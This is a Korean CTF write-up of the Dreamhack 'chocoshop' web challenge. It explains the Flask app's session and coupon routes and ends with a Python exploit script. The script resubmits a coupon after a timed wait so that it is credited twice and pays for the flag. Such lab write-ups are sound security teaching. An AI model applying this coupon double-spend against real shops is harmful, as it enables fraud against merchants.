> For the complete documentation index, see [llms.txt](https://docs.cooku222.kr/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.cooku222.kr/security/web-hacking/dreamhack/dreamhack-chocoshop.md).

# \[Dreamhack] chocoshop

app.py

```
def get_session():
    def decorator(function):
        @wraps(function)
        def wrapper(*args, **kwargs):
            uuid = request.headers.get('Authorization', None)
            if uuid is None:
                raise BadRequest("Missing Authorization")

            data = r.get(f'SESSION:{uuid}')
            if data is None:
                raise Unauthorized("Unauthorized")

            kwargs['user'] = loads(data)
            return function(*args, **kwargs)
        return wrapper
    return decorator
```

request 헤더에서 Authorization 값을 가져오고 없으면 none을 반환한다. Authorization 헤더가 누락된 경우 BadRequest 예외를 발생시키게 한다.

```
@app.route('/flag/claim')
@get_session()
def flag_claim(user):
    if user['money'] < FLAG_PRICE:
        raise BadRequest('Not enough money')

    user['money'] -= FLAG_PRICE
    return jsonify({'status': 'success', 'message': FLAG})
```

유저의 돈이 플래그 가격보다 적으면 예외를 발생시키고, 가격이 같으면 success 상태에 flag를 포함해 출력해준다.

```
@app.route('/pepero/claim')
@get_session()
def pepero_claim(user):
    if user['money'] < PEPERO_PRICE:
        raise BadRequest('Not enough money')

    user['money'] -= PEPERO_PRICE
    return jsonify({'status': 'success', 'message': 'lotteria~~~~!~!~!'})
```

구매 성공시 롯데리아라는 메시지를 출력해준다.

```
@app.route('/coupon/submit')
@get_session()
def coupon_submit(user):
    coupon = request.headers.get('coupon', None)
    if coupon is None:
        raise BadRequest('Missing Coupon')

    try:
        coupon = jwt.decode(coupon, JWT_SECRET, algorithms='HS256')
    except:
        raise BadRequest('Invalid coupon')

    if coupon['expiration'] < int(time()):
        raise BadRequest('Coupon expired!')

    rate_limit_key = f'RATELIMIT:{user["uuid"]}'
    if r.setnx(rate_limit_key, 1):
        r.expire(rate_limit_key, timedelta(seconds=RATE_LIMIT_DELTA))
    else:
        raise BadRequest(f"Rate limit reached!, You can submit the coupon once every {RATE_LIMIT_DELTA} seconds.")


    used_coupon = f'COUPON:{coupon["uuid"]}'
    if r.setnx(used_coupon, 1):
        # success, we don't need to keep it after expiration time
        if user['uuid'] != coupon['user']:
            raise Unauthorized('You cannot submit others\\' coupon!')

        r.expire(used_coupon, timedelta(seconds=coupon['expiration'] - int(time())))
        user['money'] += coupon['amount']
        r.setex(f'SESSION:{user["uuid"]}', timedelta(minutes=10), dumps(user))
        return jsonify({'status': 'success'})
    else:
        # double claim, fail
        raise BadRequest('Your coupon is alredy submitted!')
```

* 만약 request 헤더에 coupon이 없으면 에러를 발생시키고 hs256 기반으로 jwt encoder를 실행한다.
* 또한 시간 지연으로 인해 시간이 초과되면 에러가 발생하며 키 제공 횟수도 초과하면 만료됐다 뜬다.
* 사용자의 uuid와 쿠폰의 user가 일치하는 지 확인하고 사용자의 돈을 쿠폰 금액만큼 증가시킨다. 세션데이터를 갱신하고 성공적인 응답을 반환함.

```
@app.route('/coupon/claim')
@get_session()
def coupon_claim(user):
    if user['coupon_claimed']:
        raise BadRequest('You already claimed the coupon!')

    coupon_uuid = uuid4().hex
    data = {'uuid': coupon_uuid, 'user': user['uuid'], 'amount': 1000, 'expiration': int(time()) + COUPON_EXPIRATION_DELTA}
    uuid = user['uuid']
    user['coupon_claimed'] = True
    coupon = jwt.encode(data, JWT_SECRET, algorithm='HS256').decode('utf-8')
    r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(user))
    return jsonify({'coupon': coupon})
```

* coupon\_claim 속성을 확인해주고 새로운 쿠폰 uuid를 hex값으로 생성해준다. 여기엔 coupon의 uuid, user의 uuid, 쿠폰의 수량이 1000, 만료 시간이 나와있다.
* 세션 키는 SESSION:{uuid} 형식이고, 갱신된 사용자 데이터를 저장한다. 만료 시간은 10분으로 설정한다.

```
@app.route('/session')
def make_session():
    uuid = uuid4().hex
    r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(
        {'uuid': uuid, 'coupon_claimed': False, 'money': 0}))
    return jsonify({'session': uuid})
```

* 새로운 세션을 생성하는 구간.

익스플로잇 할 때 쿠폰의 만료 여부는 큰 경우에 대해서만 만료되고 있고, 만료에 대한 검증은 순차적인 진행을 따른다는 것을 이용해 두 번 요청을 보내는 익스플로잇을 짠다.\
exploit.py

```
import requests
import json
import time

# 문제 페이지 URL과 세션 ID 설정
url = "<http://host8.dreamhack.games:22480/>"
session_id = "a752f244fca24ec6836d5b1b73684453"

def claim_coupon(session):
    headers = {"Authorization": session}
    response = requests.get(url + "coupon/claim", headers=headers)
    if response.status_code == 200:
        coupon = json.loads(response.text)["coupon"]
        print("Coupon claimed successfully")
        print("Coupon:", coupon)
        return coupon
    else:
        raise Exception("Failed to claim coupon")

def submit_coupon(session, coupon):
    headers = {"Authorization": session, "coupon": coupon}

    # 첫 번째 쿠폰 제출
    response = requests.get(url + "coupon/submit", headers=headers)
    print("First coupon submit response:", response.text)
    if response.status_code != 200:
        raise Exception("Failed to submit first coupon")

    #  45초 대기
    print("Waiting for exactly 45 seconds...")
    time.sleep(45)

    # 두 번째 쿠폰 제출
    response = requests.get(url + "coupon/submit", headers=headers)
    print("Second coupon submit response:", response.text)
    if response.status_code != 200:
        raise Exception("Failed to submit second coupon")

def claim_flag(session):
    headers = {"Authorization": session}
    response = requests.get(url + "flag/claim", headers=headers)
    print("Flag claim response:", response.text)
    if response.status_code != 200:
        raise Exception("Failed to claim flag")
    return response.text

if __name__ == "__main__":
    try:

        session = session_id

        # 쿠폰 클레임
        coupon = claim_coupon(session)

        # 쿠폰 1차 및 2차 제출
        submit_coupon(session, coupon)

        # 플래그 구매
        flag = claim_flag(session)
        print("Flag:", flag)
    except Exception as e:
        print("An error occurred:", str(e))
```

<br>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.cooku222.kr/security/web-hacking/dreamhack/dreamhack-chocoshop.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
